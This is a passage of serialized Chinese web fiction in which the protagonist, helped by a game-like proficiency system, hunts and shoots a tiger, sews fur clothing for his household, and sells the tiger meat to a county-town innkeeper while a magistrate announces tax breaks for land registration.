枯黄的灌木丛静悄悄的,落叶堆积的地面没有新鲜脚印,只有山风卷着枯叶的沙沙作响,偶尔有松枝晃动,落下几片干枯的针叶。
他咽下嘴里的饭团,喝了口水,迅速站起身拍了拍身上的尘土。
这里处于风口,风势越来越大,翻过前面的山坡,深入山林腹地,风应该会小些。
他紧了紧手中的弓箭,加快脚步前行,气温太低,衣服不够保暖,必须保持活动,否则身体凉透了,再想暖回来可就难了,还会影响反应速度。
“嗖!”
一声轻响,羽箭如流星赶月般射出,带着破空的锐鸣,精准穿透了一只觅食的野鸡,倒在地上扑挣扎了几下就没了动静。
比起狩猎等级提升前,李逸如今射箭愈发从容。环境对射击的影响大幅降低,丰富的狩猎知识和熟练的技巧,让他即便在风中也能精准命中目标,连拉弓的力道都控制得恰到好处,既保证了杀伤力,又不会浪费体力。
【狩猎熟练度+ 10】
第三十章:谁是山林的统治者!
确认狩猎等级提升后,狩猎小型猎物的熟练度并未减少,李逸暗自松了口气,若是这熟练度偷偷缩水,2000点熟练度,他还真不知道要刷到猴年马月。
翻过前面的山头,他沿着山脊侧面继续深入.....
这片山脉绵延不绝,没有陡峭的悬崖峭壁,只有层层叠叠的缓坡,枯黄的草叶没过脚踝,踩上去发出沙沙的轻响,山风掠过树梢的发出阵阵呜咽。
这里已经极近上次发现虎大王领地标记的区域,空气里隐约飘着股猛兽特有的腥膻气,随着脚步前移,愈发清晰。
李逸突然停下脚步,瞳孔微微收缩。
前方十余米外的地面上,躺着半截动物尸体,周围还有些未散尽的血腥味儿,顺着风刺的鼻腔发紧。
李逸弓着身子缓步上前,借着稀疏的日光仔细辨认,残留的皮毛呈灰褐色,骨架粗壮,蹄子小巧,能断定是一头成年野鹿。
尸体被撕裂得惨不忍睹,内脏外露,肋骨被咬得坑坑洼洼,犬齿留下的深洞狰狞可怖,显然是被顶级掠食者一击致命后啃食的。
能有这般破坏力的,唯有这片山林的王者,虎大王。
李逸蹲下身,指尖轻轻拂过残留的皮肉,齿痕深浅不一,带着不容置疑的霸道劲儿,看得出来虎大王进食时也保持着极致的凶猛。
近来几日气温低这肉没腐烂,肉质没有冻硬还泛着些许弹性,说明这头野鹿是最近两三天被猎杀的。而这半截尸体,更像是虎大王刻意留在这儿的宣言,向其他野兽彰显它的统治力,警告那些不长眼的家伙,不要踏入它的领地半步。
李逸站起身左右扫视,目光很快锁定附近一棵老树干,树皮上布满了深刻的利爪抓痕,寸许深的沟壑里,新鲜的木屑外翻,泛着浅黄的木质纹理,这是上次那泡尿彻底激怒了虎大王,它竟直接将领地向外扩张了不少。
二次确认了虎大王的存在和活动范围,李逸笑得有些兴奋,眼底没有丝毫面对顶级猛兽的畏惧,只剩狩猎者的狂热与冷静。
他握紧手中的硬木弓,指腹抵着冰凉的箭羽,脚步放缓,身体微微弓起,像蓄势待发的猎豹,正式进入战备状态。
老虎是山林里最顶尖的猎手,此刻的他和虎大王,既是狩猎者也是彼此的猎物。
胜负之分,全看谁的技巧更精湛,谁才是这片山林的真正的统治者!
李逸记着,上次撒尿的区域有一截歪歪扭扭的枯木,格外显眼。
他以那枯木为参照物,循着地面隐约的痕迹,很快找到了另一棵几乎被挠烂的树干,树皮剥落,露出里面苍白的木质,划痕密密麻麻,想来是上次虎大王发现领地被挑衅后,盛怒之下疯狂抓挠发泄的痕迹。
李逸伸出手掌比对爪痕的宽度,指尖量着抓挠的间距,心里快速盘算:
从爪痕大小推算,这头老虎的脚掌至少有成人巴掌大,体型怕是不少于二百公斤!
是头正值壮年的猛虎,比起上次猎杀的那头不到三百斤的野猪,简直是碾压级的存在,捕猎野猪对它而言,怕是和玩儿一样轻松。
老虎的爆发力堪称恐怖,四百多斤的身躯全力扑击时,冲击力能撞断碗口粗的树干,就算遇上山林里另一种顶级捕食者黑熊,它也有一战之力。
正面硬刚,虎大王和熊大王约莫是五五开,但若是猛虎耍起战术绕后偷袭,赢面会大大增加。
反过来想,若是李逸一个不慎被虎大王埋伏偷袭,怕是连站稳的机会都没有,就会被它锋利的犬齿直接咬断脖子或脊柱,这是虎大王惯用的狩猎技巧,干脆利落,从不拖泥带水。
四百斤的大家伙,即便猫科动物的脚掌有厚厚的肉垫减震,也不可能做到不留任何痕迹。
没过多久,李逸就在一处背风的凹地发现了清晰的足印,巴掌大小,趾垫饱满,边缘还带着尖锐的爪痕,和树干上的抓痕完全吻合。
顺着足迹往前,两条山脊夹出一片小山谷,谷底枯草茂密,乱石嶙峋,阳光被山脊挡了大半,透着股阴森的凉意。
这种背风,隐蔽且视野开阔的地形,正符合老虎选择栖息地的习性,从李逸的位置看过去毫无遮挡,但一旦深入山坳,他就会沦为被高处俯视的目标,彻底陷入被动。
周围没发现水源,大荒村旁边本有一条河床,却因连续三年大旱少雨彻底干枯,唯有等冬日多降几场大雪,来年开春积雪融化,河水才能重新流淌。
“不能深入!”
优秀猎手的直觉在脑海里警铃大作,李逸果断放弃了莽撞摸向虎巢的念头。
他退到一处低矮的灌木丛后,选择在外围绕圈的方式,尝试先锁定猛虎的具体踪迹。
抬头望了眼阴沉的天色,云层压得极低,像是随时会落雪,李逸心里默默估算:
此时刚过正午没多久,冬日昼短,天黑得快,他充其量还有三个多小时的狩猎时间,无论情况如何必须在天黑前撤离,他没有老虎的夜视能力,入夜后的山林对他而言就是致命的陷阱。
走上山脊想看得更远些,刚露头就被山风灌了满怀,寒风顺着衣领、袖口往里钻,刚运动出的一层薄汗瞬间被吹凉,皮肤泛起细密的鸡皮疙瘩。
李逸忍不住打了个寒战,牙齿轻轻磕了一下。
“嘶……可不能在这节骨眼上生病。”
缩了缩脖子,李逸往下退了数步,避开最强的风势,开始绕着山坳缓慢移动。
顶级猎手的核心,除了技巧,更要有顶级的耐心,为了狩猎某只猎物,耗上一整天甚至几天,都是常有的事。
更何况他面对的是野生猛虎,而非动物园里养尊处优、肉到嘴边都懒得张嘴的吉祥物,必须拿出十二分的谨慎和十二分的耐心。
一个小时里,李逸始终保持着匀速移动,脚掌轻踩在枯草与落叶上,尽量不发出多余声响。
他的目光像探照灯般扫过每一处草丛、每一块岩石,不敢有丝毫懈怠,既提防着山坳里的猛虎突然冲出,也怕虎大王外出归来,撞见他这个以后背和屁股打招呼的没礼貌闯入者,一口就能教他做人。
“吼....”
一声低沉短促的咆哮突然从山坳深处响起,瞬间驱散了山林的静谧。
李逸立刻矮身趴在地上,身体紧贴着冰冷的地面,呼吸压得极轻,只留一双眼睛警惕地扫视着声音传来的方向。
距离尚远,声音又短促,无法精准判断方位,只能锁定大致范围。
判定没找错地方,李逸心里暗喜,只是不知道这头猛虎是独居,还是已经拖家带口。
李逸继续在外围移动,目标明确,先肉眼锁定老虎的位置,再根据地形制定狩猎方案。
若是能找到视野开阔、隐蔽性好的位置,他可以直接用猎枪瞄准。
但他很清楚,以老虎的实力,自己被先发现的概率更大,老虎的动态捕捉能力是人类的十倍,只要在它的视野里,任何细微移动都逃不过它的眼睛,这是它能牢牢锁定猎物的关键。
李逸心目中的理想狩猎时机,是老虎犯懒打盹或是正在狩猎其他猎物时。
而最糟糕的便是遇上它饥肠辘辘外出觅食,不过山坳外围的野鹿残尸说明,猛虎短时间内有过大量进食,大概率不会轻易出来觅食,这让他稍稍松了口气。
又耐心移动了半小时,李逸终于有了发现,只是心情喜忧参半。
视线前方的乱石堆里,一道橙黄色的身影格外显眼,正是那头虎大王,它身形健硕,黑色条纹在阴沉天色下更显狰狞,此刻正和两只半大的小老虎打闹嬉戏。
小家伙们围着它扑腾,小爪子轻轻拍打着虎大王的身体,时不时蹭蹭它的脖颈,显得格外亲昵。
距离超过一百五十米,只能看清大致轮廓,李逸趴在地上,迅速从物品栏取出猎枪,木托稳稳抵在肩膀上,闭上左眼瞄准。
准星里的虎影有些模糊,他调整了数次呼吸,最终还是无奈摇头,这个距离,除非是狙击枪,这把老式猎枪的命中率超不过 30%,就算侥幸射中也未必能致命,反而会彻底激怒猛虎,招来杀身之祸。
继续接近绝非明智之举,再往下走,视线会被乱石遮挡,无法进行远距离射击。
而绕到能避开乱石的角度,大概率在那之前就会被老虎先发现,以这头猛虎的体型和耐力,距离足够近就算中了箭或枪,也能拖着伤躯完成反杀。
唯有爆头,才能一瞬间结束狩猎!
“智取吧......”李逸在心里默念。
人类相较于野兽,最大的优势就是更会思考,会创造和使用工具。
他缓缓匍匐后退,直到退出数十米,确认自己的气味和身影不会被发现后,才迅速爬起,矮着身子快步跑向另一侧的山脊,跑到距离老虎所在位置超过一千米的地方,他才停下脚步。
他仔细观察地形,前后更换了十几次位置,终于找到一处绝佳点位,就两块半人高岩石之间有一道狭窄缝隙,缝隙外长满了半人高的枯草,既能将身体完全隐藏,又能毫无遮挡地望向山谷方向,视野开阔到极致。
一切准备就绪,就差一个引蛇出洞的引子。
李逸快速跑到不远处一棵粗壮的老树下,对着树干放水。
在动物世界里,尿液既是求偶信号,也是领地界限的划分,尤其是老虎这种领地意识极强的捕食者,在它的领地撒尿,就是最直接的挑衅行为。
李逸他抬头感受了下风向,这里是上风口,老虎所在的山坳是下风口,距离没超过两公里,又有风向助力,这股气味猛虎想不闻到都难。
李逸快速提好裤子,转身跑回岩石缝隙,趴在冰冷的地面上,取出猎枪架好,身体一动不动。
他和大树的直线距离约莫六七十米,射击角度堪称完美,只要虎大王敢过来,他有九成把握一枪爆头。
手指轻轻搭在扳机上,没有用力,只保持着随时可以射击的姿势。
李逸深吸一口气,再缓缓吐出,重复数次,让狂跳的心脏慢慢平稳,视线紧紧盯着那棵大树的方向,耳朵捕捉着远处的任何细微动静。
不到两分钟,山坳方向传来一声震耳欲聋的愤怒咆哮,虎啸山林,惊得无数鸟儿从树枝上仓皇飞离,连远处的枯草都跟着轻轻晃动。
李逸的眼神瞬间锐利起来,呼吸压得更低,指尖微微绷紧。
他很清楚,枪声一响,自己的位置就会彻底暴露,退膛、换弹、上膛,就算动作再快,这段时间也足够猛虎冲过来将他扑倒。
他只有一枪的机会,这一枪打不死老虎,死的就是他自己。
又等了五分钟,一道橙黄色的身影终于出现在视野里,猛虎身形健硕,肌肉随着步伐微微起伏,眼神锐利如刀,扫过四周时带着不容侵犯的威严。
它向前走出一段距离,头颅微微抬起,鼻头快速耸动着,显然在精准捕捉气味的来源。
很快,它锁定了方向,迈着沉稳的步伐,一步步向着那棵大树走来。
就在即将抵达树边时,猛虎突然停下脚步,鼻头继续急促耸动,它闻到了李逸残留的气味。
但这猛虎并未退缩,只是晃了晃头,发出一声低沉的咆哮,眼底怒意更盛,像是在斥责这胆大包天的挑衅者。
李逸心里平静无波,他算准了这头猛虎必定会靠近大树,作为这片区域的霸主,它的领地绝不容许任何侵犯。
猛虎又低吼了一声,随后迈开沉稳的步伐,一步步走向那棵被刻意标记的大树……
第三十一章:枪杀猛虎
身下的地面冰得刺骨,碎石子硌得骨头生疼,可李逸仿佛失去了基础触觉,整个人一动不动。
浑身肌肉紧绷如拉满的弓弦,全部注意力都死死锁在准星和虎头的两点一线上,连呼吸都仿佛是停止了,生怕惊扰了百米外的猎物。
虎大王步步逼近大树,刚好踏入李逸的有效射程,这把老式步枪看着崭新,却终究是单发栓动款式,距离越远,精度和威力越会打折扣。
李逸屏住呼吸,手指虚搭扳机,耐心等待最佳时机。
终于,猛虎安耐不住走到树干下,围着树转了一圈,鼻尖翕动着嗅探气味,最终停在了李逸标记的位置。
“吼......”
低沉的咆哮震得周遭枯草轻颤,猛虎猛地扬起右爪,带着千钧之力拍在树干上。
咔嚓一声轻响,树干震颤,木屑飞溅如星,三道深刻的爪痕瞬间烙印在木头上,足见其力道之猛。
李逸的准星始终黏着虎头,可猛虎连续挥爪时,头颅跟着无序晃动,根本无从下手。
他沉下心来,仿佛与手中的步枪融为一体,忘却了呼吸心跳,连眼角的余光都不曾偏移,如同身旁的山石般纹丝不动。
顶级猎手,最忌急躁。
直到树干被挠得残破不堪,虎大王才发泄完心中的怒火,晃了晃脸盆大的硕大头颅,打了个带着腥气的响鼻。
它忽然扭转头颅,精准锁定李逸藏身的方向,向前迈了三步,高高昂起脖颈,湿润的鼻头急促耸动,精准地捕捉着风中的陌生气味。
就是现在!
手指轻轻一勾,那一瞬间天地仿佛静止......
风吹拂杂草的沙沙声、枯叶盘旋下坠的轨迹、老虎高高昂起的头颅,全都定格在这一刻。
“砰......”
枪声在寂静的山林中骤然炸响,尖锐刺耳,惊得远处飞鸟四散奔逃。
猛虎的一只眼睛应声爆开,猩红的鲜血混合着白色脑浆飞溅而出,庞大的身躯轰然倒地,砸得地面尘土飞扬,枯草被压得倒向四周。
【狩猎熟练度+ 100】
系统提示音刚在脑海中响起,李逸便猛地弹起身,一边狂奔一边手动将弹壳推出枪膛,黄铜弹壳叮地落在碎石上。
李逸脚下如踩了风火轮般冲向猛虎,冲到近前时,这头四百斤的猛兽已经没了动静,鲜血顺着眼窝和嘴角汩汩流淌,染红了身下的枯草和泥土。
即便已是尸体,近距离直面这头猛虎,依旧能感受到那股令人心悸的威慑力,锋利的爪子,狰狞的獠牙,布满黑纹的橙黄色皮毛,都透着顶级掠食者的霸道。
李逸不敢耽搁,伸手按住虎头,念头一动,将整具虎尸收入物品栏,随后转身就跑。
天色已经擦黑,再过半个小时,山林就会陷入一片漆黑。
这头猛虎有两只小虎,大概率还藏着一头母虎,母虎虽体型稍小,却也是经验老道的猎手,李逸可不敢拿自己的小命赌。
一路飞奔,心脏在胸腔里疯狂跳动,如同要挣脱束缚,呼吸急促得像是要炸开,后背沁出的冷汗被冷风一吹,冻得皮肤发紧。
直到体力耗尽,李逸才扶着一棵树停下,弯腰大口喘着粗气,胸口剧烈起伏。
他回头望向身后的山林,暮色四合,林子里静悄悄的,没有任何异常。
想来就算母虎听到枪声,被惊扰也无法在这么短的时间内锁定他,地上那点血迹根本不足以暴露公虎已被击杀的事实。
此时,狩猎猛虎的兴奋感才彻底涌上来.......
一枪爆头,虽没有面对面厮杀的热血沸腾,却也是李逸反复勘察环境、精心部署后的结果,将危险降到了最低。
“这下肯定有钱买大骡子了!”
李逸的嘴角压不住地上翘,已经再想大骡子的事情,草料的问题根本不算事,大荒村外的荒地多得是,割些杂草就是天然草料。
眼看快到山林外围,天色彻底暗了下来,鼻尖忽然传来冰凉的触感,他仰头一看,一片片小雪花纷纷扬扬地飘落,落在脸上转瞬融化。
下雪了……
“姐姐!下雪啦!”
院子里正用脱壳工具加工粟米的白雪儿,蹦蹦跳跳地跑进屋里。
于巧倩坐在锅灶旁,一边添柴看着火,一边拿着骨针和一块破布练习针脚,缝几下就拆开,拆开后又重新缝,指尖被骨针扎得泛红,却依旧不肯停歇。
于巧倩顺着她的目光望向屋外,眉头瞬间皱起:“雪儿,这天都黑透了,夫君怎么还没回来?夜里山中可有猛兽!”
听到猛兽二字,白雪儿的小脸瞬间白了,她想起爹爹以前说过,山里的大虫和野狼都是会吃人的!
二女正忧心忡忡地望着院门,李逸的声音忽然传来:“雪儿,倩儿,我回来了!”
二女欣喜地对视一眼,连忙迎到屋门口,李逸背着箩筐,脸上挂着灿烂的笑容,满身的寒气都挡不住眼底的光,箩筐里的两只雪兔和一只野鸡还带着余温。
“呀!夫君今天好厉害,打了这么多猎物!”白雪儿开心地拍手,眼睛亮晶晶的。
“嗯,今天运气不错。”李逸走进屋,拍了拍身上的雪花:“不过变天了,希望雪别下太大。”
白雪儿向来乐观,笑着宽慰:“夫君不用担心,我们囤了好多粮,就算下雪也能吃好一阵子呢!”
于巧倩轻推了白雪儿一把,嗔道:“哎呀雪儿,快让开,夫君还在外面冻着,快进屋暖和暖和。”
李逸在灶火旁烤了会儿火,冻僵的手脚渐渐回暖。
他让白雪儿拿来油灯,借着微弱的灯光,小心翼翼地将两只雪兔的皮完整剥下来,这两张兔皮柔软厚实,他打算给白雪儿和于巧倩各做一顶皮帽,抵御冬日的寒风。
食材有限,李逸能做的菜翻来覆去就几样:野菜、木耳、蘑菇。
才吃了没几天他就有些腻了,可于巧倩和白雪儿却吃得津津有味,还一个劲夸他手艺好,说比以前顿顿吃稀饭咀野菜强多了。
吃过晚饭,李逸拿出之前猎到的两张狍子皮,打算给自己做件皮袄。不用多美观,足够御寒就行。先用自己的活刷裁缝熟练度,等技能升级后,再给二女做既保暖又好看的款式。
豆子大丫两个小不点也是以实用为主,同样可以用来刷熟练度。
于巧倩帮着李逸丈量了肩宽、身长,便陪着他一起忙碌。白雪儿趴在炕上,支着下巴看着二人配合默契的样子,脸上始终挂着甜甜的笑。
李逸先大致缝出皮袄的轮廓,再手把手教于巧倩码针脚,她缝得歪歪扭扭的地方,他就耐心拆了重新缝。两个小时后,一件厚实的狍子皮袄终于完工。
【裁缝熟练度+ 20】
看到系统提示,李逸面露喜色——果然和狩猎一样,做大件提升的熟练度就是多。
“夫君,快试试!”于巧倩递过皮袄,眼里满是期待。
李逸穿上后,发现尺寸略大了些,但整体还算合身。
厚实的狍子皮裹在身上,瞬间传来阵阵暖意,从胸口蔓延到四肢,比单薄的冬衣暖和不止一个档次。
“好看!夫君和姐姐真厉害!”白雪儿拍着小手,提供了满满的情绪价值。
于巧倩却有些不好意思,笑着摇头:“雪儿别瞎说,我这针脚歪歪扭扭的,自己都觉得难看。”
“我就喜欢倩儿缝的。”李逸握住她的手,认真道:“这缝的不是线,是倩儿对我的心意。”
于巧倩的脸颊瞬间涨得通红,不好意思地别过头,嘴角却忍不住微微上扬。
天还没亮,李逸就起身练拳,昨夜的雪下的时间不长,地面只积了一层薄雪,放眼望去,整个大荒村都裹在一片白茫茫中,风一卷又是漫天白色。
练完《气合拳》,获得5点熟练度后,李逸又快速进山,他要把老虎皮剥出来。
老虎皮的价值,远非普通兽皮可比,在市面上堪称天价。
李逸想了想,除了县城酒肆的王店主,还真找不到更靠谱的买家,上次卖野猪时,王店主给的价格也很公道。
剥完虎皮,他顺手砍了一棵粗壮的树干拖回去。
力量属性提升的效果立竿见影,以前拖这样的树干累得气喘吁吁,现在却轻松不少。
按照这个进度,再提升一点力量,他就能媲美甚至超过何铁牛了。
看到李逸拖着树干进院,白雪儿连忙上前帮忙,小脸上满是好奇:“夫君,你又要进山打猎了?”
“不急着打猎。”李逸放下树干,拍了拍身上的雪:“今天要把木棚搭好,过几日有大用。”
“我帮夫君!”白雪儿跃跃欲试,只要是李逸做的事,她都想跟着掺和。
有了全套木工工具,李逸干木工活儿的效率翻了两倍。
刨木、凿孔、拼接,动作麻利流畅,白雪儿在一旁递工具、扶木板,到傍晚时,一个木棚已完全搭好,能遮风挡雨,另一个的基本框架也立了起来,就差铺棚顶。
晚上.....李逸继续做裁缝活,打算给自己做一双冬鞋,参考现代雪地棉的式样,鞋底是在县城买的现成厚底,再用狍子皮做鞋面。
“夫君,你这双靴子怎么看起来怪怪的?”
白雪儿和于巧倩围着他脚上的半成品,眼神里满是好奇,一会儿觉得丑,一会儿又觉得新奇。
“暖和就行。”李逸笑着把靴子递过去,“你们试试。”
二女半信半疑地各试了一只,脚背贴上狍子皮的绒毛,痒痒的,却瞬间传来阵阵暖意,连冻得发红的脚趾都舒展开来。
看到她们眼里的惊喜,李逸笑道:“鞋底我买了很多,也有适合你们脚大小的。等我再打几只兔子,用灰兔皮给你们各做一双,不管雪多大、天多冷,都不会冻脚的。”
听他这么说,二女脸上都露出了期待的神情,于巧倩更是忍不住追问:“真的能那么暖和?”
“当然。”李逸点头,又想起一事:“对了,明日我要去趟县城,再囤些东西,你们在家看门就好。”
白雪儿用力点头,于巧倩却微微皱眉:“天寒地冻的,夫君总跑那么远,太辛苦了。”
李逸拉起二女的手,一手握一只,笑着说:“夫君答应过你们,要让日子越过越好。有些事得趁早准备才行。”
这次进城是去卖老虎肉和虎皮,事关重大,李逸没叫上何铁牛。
早起练完拳,他拉着木板车出门,身体被属性点强化后,拉车比以前轻松多了,不再像之前那样气喘吁吁,脚步轻快了不少。
出了村子,李逸四下看了看,确认没人后,将木板车和上面伪装的木柴全部收入物品栏,轻装上阵加快了脚步。
今日天色依旧灰蒙蒙的,云层压得很低,看样子不酝酿出一场大雪是不会罢休的。
或许是天气太冷,一路上连个人影都没看到。各个村里的穷苦农户,不是在家忙着劈柴备暖,就是在野地里挖草根。
野菜早就枯了,能果腹的只剩深埋地下的菜根和草根,南方的地理气候适宜,全年都有吃不完的野菜,可北方的百姓就苦多了。尤其是大雪封山后,连草根都挖不到,每年都有农户饿死、冻死,以至于同村人听到消息,也只觉得稀松平常,早已麻木。
与此同时......
安平县城的县衙.....
县令伍思远正盯着县丞张贤递来的名册,脸色愈发阴沉。
名册上记录的是安平县农户分地的情况,可到目前为止,登记在册的分配田地总数,竟只有一千八百多亩。
“张贤!”
伍思远的声音带着压抑的怒火,指节因为用力握着名册而发白。
张贤连忙拱手躬身:“县令大人吩咐。”
“圣上既已下令兴农,便是希望农户多种地,好补充国库。”
伍思远将名册狠狠拍在案几上:“我们安平县登记在册的村子就有一百六十个,算上偏远野村,足有两百多个。就凭这不足两千亩地,我们如何向圣上交代?”
“圣上一怒,你我二人的乌纱帽,怕是保不住了!”
张贤低着头,额角渗出冷汗,一时竟不知如何回应.....
第三十二章:县城卖虎,遇旧人
张贤面露苦涩,声音带着几分无力:
“大人,我们这苦寒之地,下属村落的农户连糠菜都填不饱肚子,男丁之前要么逃荒要么被征召,所剩无几,又如何开垦得那么多荒地?这分地之事,实属难办啊!”
伍思远轻叹一声,心情烦躁偏偏这怒火又无法发泄,当个穷县城的县令,真是桩苦差事!
没半点油水可捞不说,新圣上交代的差事完成不好,还要丢了乌纱、毁了前程。
他低头沉吟片刻,指节无意识摩挲着案沿的木纹,抬头时眼中已多了几分破釜沉舟的决绝:
“张县丞,拟布告!即日起,凡来县衙分地的农户,免五成赋税!分地十亩以上者,免三年赋税!”
张贤神色骤变,额角渗出细汗,连忙上前半步劝阻:
“县令大人,这……这万万不可!免了这么多赋税,来年秋收若收不上足够粮食,朝廷追责下来,你我二人怕是承担不起啊!”
伍思远烦躁地揉了揉额角,眉宇间满是焦灼:
“管不了那么多了!圣上催分地的旨意一道接一道,若凑不齐分的亩数,年末这关我们都过不了,又何谈明年秋收?先过了眼前这道坎儿再说!”
张贤望着伍思远凝重的神色,深知此事已无转圜余地,只能无奈点头:
“确是如此,属下这就拟定布告,亲自贴到城门口,再派人快马传递到各个乡里,务必让农户们都知晓。”
“嗯......去吧”
伍思远挥了挥手。
冬日天短,夕阳西斜时,橘红色的余晖洒在安平县城的土城墙上,泛着一层暗沉的光。
李逸拉着木板车,踩着满地枯黄的野草,终于望见了城墙轮廓。
城门口围了不少衣衫褴褛的百姓,老老少少挤在公告栏前,守城士兵手持布告,扯着嗓子反复吆喝:“都来看看啊!县衙今日新发的布告,分地免赋税喽!分十亩以上直接免三年!”
穷苦百姓大多不识字,挤在人群中踮脚倾听,有人窃窃私语,有人眉头紧锁盘算着。
李逸路过时也被士兵拦下,只得停下脚步听了几句,心中暗想:
“齐武帝兴农的决心倒是不小啊,把压力全给到了各县衙,如今这世道,大肆经商容易被官差当成肥羊宰,当个种田大户,有县衙免赋税的承诺护着,反倒稳妥得很。”
李逸裹了裹身上的皮袄,拉着木板车向城内走。
轻车熟路走到王记酒肆门口,虽戴了顶遮风的皮帽子,将半张脸都遮住,伙计丁二还是一眼认出了他,搓着冻得发红的手迎上来:
“唉?李兄弟又来了?这才几日不见瞧着精神多了!又打到什么好猎物了?”
李逸放下车,擦了把额头的薄汗:“运气不错,打了点好货,劳烦丁二哥帮我喊下王店主,事关紧要。”
“好说!”
丁二瞥了眼木板车上盖得严严实实的木柴,见李逸神色郑重,也不敢怠慢,转身快步进店,嘴里还喊着:“东家,李兄弟又来了,说有好货!”
不多时,身宽体胖的王金石就迈着大步走了出来,狐裘裹着圆滚滚的身子,脸上堆着热情的笑:
“呀?这才几天,小兄弟又送好货来了?”
两次接触下来,王金石对李逸已有了基本了解,这小伙子看着年轻,做事却沉稳实在,不偷奸耍滑,送来的野味都是上等货色,所以他格外客气。
换做那些耍心眼、以次充好的农户猎户,他早让伙计赶人了。
“王店主,借一步说话。”李逸压低声音,眼神示意了一下木板车,神色谨慎。
王金石何等精明,立刻察觉到不对劲,连忙凑到他身边,肥厚的手掌挡在嘴前:
“小兄弟有话不妨直说,莫非是打到了什么稀罕物?”
李逸附在他耳边,生命很轻。
王金石的双眼瞬间瞪大,瞳孔骤缩,脸上的笑容僵住,满是震惊与不可思议,连声音都变了调:
“嘶……小兄弟,这话可不能乱说啊!你可知那大虫有多厉害?好几个打猎好手一起去,都未必能活着回来,你……你莫不是在唬我吧?”
李逸早料到他会是这般反应,转身走到车旁,双手抓住木柴一角掀开,露出下面血粼粼的庞大躯体,虎首狰狞,獠牙外露,虽没了皮毛,那股威慑力依旧让人胆寒。
“这……这……”
王金石蹲下身,伸出手指小心翼翼地触碰了一下虎爪,锋利的爪尖泛着冷光,吓得他连忙缩回手,眉头紧紧皱了起来:
“看着体型倒是像,可没了皮,我如何分辨是不是真猛虎?”
“皮在同伴那儿。”
李逸干笑两声,编了个早已想好的借口:“这次狩猎险象环生,几个猎户一起进山,折了两个人,三兄弟只有一人活下来,虎皮在他手上保管。王店主要是诚心要,开个合适的价格,我连夜回去跟他商议,定能给你带回来。”
“要!怎么不要!多少钱我都要!”王金石的语气斩钉截铁。
他就只听过别的县富商买到过猛虎,说那虎肉是对男人大有裨益的大补之物,吃一口能抵得上十副补药!
虎皮更是能辟邪镇宅、兴旺家运的珍奇,有钱都未必能买到。
而且后日便是老母六十大寿,若是宴席上能摆出虎肉、挂上虎皮,别说县令大人会亲临捧场,整个县城有头有脸的人物,不用他去邀请都会主动带着厚礼上门,这可是天大的面子,能让他在安平县城的富商圈子里扬眉吐气!
李逸抓起一只虎爪,将锋利的爪尖展示给他看,又指着虎头的轮廓:
“您看这爪尖的弧度,还有头颅的大小,这獠牙,绝非普通野兽可比,画作里的猛虎就是这般模样。”
王金石越看越心惊,也越看越意动,眼珠转了转,心里快速盘算着价格。
虎肉虽贵,但终究是吃食,虎皮才是真正的稀罕物!
他咬牙下定决心,出价道:“你们既是有人死伤,价格我自然要公道些,虎肉我给二十文一斤!但有个条件,虎皮必须也卖给我,我出两万钱!”
虎皮是稀罕物,安平县城从未有人交易过,本是无市无价,但王金石志在必得!
没了虎皮,万一宴席上有人质疑虎肉的真假,他是无从辩解。可若是有虎皮挂在堂上,谁还敢质疑?所以这虎皮他必须拿下,哪怕多花点钱也值得。
“如何,李兄弟?”
王金石拍了拍胸脯,语气带着几分豪气:“你若都卖给我,从今往后你就是我王金石的兄弟,在这县城里,不管是官差还是地痞,没人敢欺负你!日后你再有好猎物,我一概高价收!”
李逸心中早已乐开了花,差点没控制住脸上的笑容。
来的路上他就已经盘算好了,东西是足够稀罕的好东西,但必须要有靠谱的买家,而他就只认识王店主一人,所以哪怕价格低出预期他也会痛快卖掉,竟是没想到王店主会开出超出他预期的高价。
“王店主这话见外了!您是我见过最豪爽最有气魄的店主,能和您结交是小子的荣幸,虎皮我明晚上之前就给您送来!”
“这才对嘛!”
王金石后退一步,上下打量着李逸,眼中满是欣赏:“你小子年纪轻轻,做事却也痛快,对我胃口,我最讨厌那些弯弯绕绕耍心眼的家伙!”
“来人,过秤!”王金石高声喊了一句。
几个伙计连忙从后厨跑出来,扛着一杆大秤,看到车上的庞然大物,都吓了一跳,互相看了看,才敢上前。
四人憋红了脸,才勉强将虎尸抬起来放在秤盘上,秤杆瞬间被压得下沉,秤砣滑到最末端,才勉强平衡。
“东家,四百一十一斤!”伙计高声报数,语气里满是震惊。
“我的天老爷,这是什么东西?这么大!比野猪还壮!”
“你看这爪子,锋利得能劈柴,牙齿也尖得吓人啊,到底是什么猎物!”
“我也没见过.....”
几个伙计在一旁小声议论,王金石瞪了他们一眼,语气严厉:“都给我闭嘴!赶紧抬后厨去,找块布盖严实了,谁要是敢把这事泄露出去,立刻滚蛋,工钱一分都别想拿!”
“知道了,东家!”
伙计们连忙应下,不敢再多言,默契地用一块大黑布将虎尸裹住,合力抬进后厨。
“兄弟,进店坐!一路赶来肯定饿了,咱们喝两杯!”
王金石热情地拉着李逸往里走,态度比之前更显亲近。
“给我兄弟上盘肉,添一大干饭,再拿一坛酒来”
他对着店小二吩咐完,便转身去账房取钱,等饭菜上齐,他端着一个沉甸甸的大木盒回来,将木盒放在桌上打开,里面是八串穿好的一千枚铜钱,还有二百八十枚零散的小铜钱。
“兄弟,你数数,总共是八千二百二十钱,一分不少!”
李逸看着这堆铜钱,暗自无语......
八千多枚铜钱,要数到什么时候?而且这么多铜钱,揣在怀里沉甸甸的,赶路也不方便。
看来卖虎皮的两万钱,说什么也得换成银锭。
“王店主的为人,小子信得过,不必数了。”
李逸笑着将铜钱一把把塞进怀里,沉甸甸的重量压得他腰腹微微下沉,忍不住又在心里吐槽:都说腰缠万贯,原来这万贯家财竟是这么沉重的负担。
王金石在他对面坐下,亲自为他倒了一碗酒,他举起酒碗示意:
“兄弟,我敬你一杯!明天我可是死等你送虎皮来,老母的寿宴,可就盼着这宝贝撑场面了!”
“放心,我定准时送来,绝不误事。”
李逸也举起碗,顺带提了一句:“对了,明日还望店主将虎皮的钱换成银锭,这铜钱带在身上实在不便,赶路也不安全。”
“哈哈,好说!别说银锭,你想要金饼,我也给你换!”王金石仰头一饮而尽。
李逸也仰头喝干碗中的酒:“好酒!”
酒足饭饱,李逸辞别王金石,揣着沉甸甸的铜钱走出酒肆。
天色已经暗了下来,街上的店铺陆续关门,只有几家灯笼铺还亮着灯,他打算去上次住的客舍歇息。
刚走到客舍门口,就看到墙角蜷缩着一个女人,在寒风中瑟瑟发抖。
李逸本是随意扫了一眼,却猛地愣住了,那人身上的衣服看起来竟是有几分眼熟。
秦心月!
此时的秦心月哪还像是冷艳女侠,完全就是一个落魄的穷苦农户。
